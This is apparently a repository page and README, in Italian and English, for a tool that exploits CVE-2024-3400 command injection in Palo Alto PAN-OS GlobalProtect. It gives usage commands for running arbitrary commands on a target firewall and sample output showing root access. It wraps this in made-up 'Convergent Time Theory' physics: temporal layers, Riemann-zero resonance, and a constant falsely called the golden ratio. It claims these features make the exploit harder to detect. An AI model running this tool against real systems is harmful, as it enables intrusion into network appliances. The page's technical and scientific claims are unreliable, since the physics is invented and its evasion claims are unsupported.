simoesctt/-ctt-pan-os-exploit-cve-2024-340CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) con miglioramento della Teoria del Tempo Convergente. Usa α = 0.0302011 di dispersione temporale, cascata di risonanza di fase a 33 strati e filtraggio a cuneo temporale di 11 ns per sfruttare l'iniezione di comandi di Palo Alto GlobalProtect. Il payload è distribuito su 33 strati temporali con priorità esponenziale d
CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) con miglioramento della Convergent Time Theory. Utilizza dispersione temporale α = 0.0302011, cascata di risonanza di fase a 33 livelli e filtraggio a cuneo temporale di 11 ns per sfruttare l'iniezione di comandi in Palo Alto GlobalProtect. Il payload è distribuito su 33 livelli temporali con decadimento di priorità esponenziale (E(d) = E_0 e^{-\alpha d}), rendendo il rilevamento significativamente più difficile rispetto agli exploit convenzionali.
Ecco il README e la breve descrizione per l'exploit CTT PAN-OS:
CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) con miglioramento della Convergent Time Theory. Utilizza dispersione temporale α = 0.0302011, cascata di risonanza di fase a 33 livelli e filtraggio a cuneo temporale di 11 ns per sfruttare l'iniezione di comandi in Palo Alto GlobalProtect. Il payload è distribuito su 33 livelli temporali con decadimento di priorità esponenziale (E(d) = E_0 e^{-\alpha d}), rendendo il rilevamento significativamente più difficile rispetto agli exploit convenzionali.
# CTT-PAN-OS-Exploit
**CVE-2024-3400 | Palo Alto PAN-OS GlobalProtect Command Injection | CVSS 10.0**
Convergent Time Theory (CTT) implementation of the critical PAN-OS command injection vulnerability.
## CTT Physics
This exploit is enhanced with Convergent Time Theory:
| Constant | Value | Role |
|----------|-------|------|
| α | 0.0302011 | Temporal dispersion coefficient |
| α_RH | 0.0765872 | Riemann-Hadamard constant (golden ratio) |
| L | 33 | Number of temporal layers |
| τ_w | 11 ns | Temporal wedge filter |
The payload is distributed across 33 temporal layers with exponential priority decay:
\[
E(d) = E_0 e^{-\alpha d}
\]
## Features
- Phase resonance payload delivery using Riemann zero frequencies
- 33-layer temporal cascade with priority decay
- Temporal wedge filtering (only "surviving" payloads execute)
- Layer-specific encoding based on layer index
- Exponential priority distribution
## Installation
```bash
pip install requests urllib3
# Check vulnerability
python ctt_panos_exploit.py https://target.firewall.local
# Execute command
python ctt_panos_exploit.py https://target.firewall.local "id"
# Get system information
python ctt_panos_exploit.py https://target.firewall.local "uname -a && id && hostname"
======================================================================
CTT PAN-OS Exploit - CVE-2024-3400
Palo Alto GlobalProtect Command Injection
α = 0.0302011 | α_RH = 0.076587 | L = 33
======================================================================
[*] Checking https://target.firewall.local for CVE-2024-3400 (CTT-enhanced)
[*] α = 0.0302011, α_RH = 0.076587
[*] Using 33 temporal layers
[+] Layer 1/33: Phase resonance detected
[+] Target is VULNERABLE!
[+] Temporal wedge survival confirmed
[*] Executing: id
[*] Using 33-layer temporal cascade
Layer 1/33: ████████████████████████████████████████ 1.000
Layer 2/33: ██████████████████████████████████████░░ 0.941
Layer 3/33: ████████████████████████████████████░░░░ 0.886
...
Layer 33/33: █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.041
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
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This software is for authorised security testing only.
---
Questa è la versione CTT dell'exploit CVE-2024-3400. La differenza principale è la cascata temporale a 33 livelli con decadimento di priorità esponenziale e temporizzazione di risonanza di fase basata sugli zeri di Riemann.
| Feature | Standard | CTT-Enhanced |
|---|
| Payload delivery | Single shot | 33-layer cascade |
| Timing | Fixed | Phase resonance (Riemann zeros) |
| Detection | Easy | Temporal wedge filtered |
| Priority | Uniform | Exponential decay |
| Encoding | None | Layer-specific |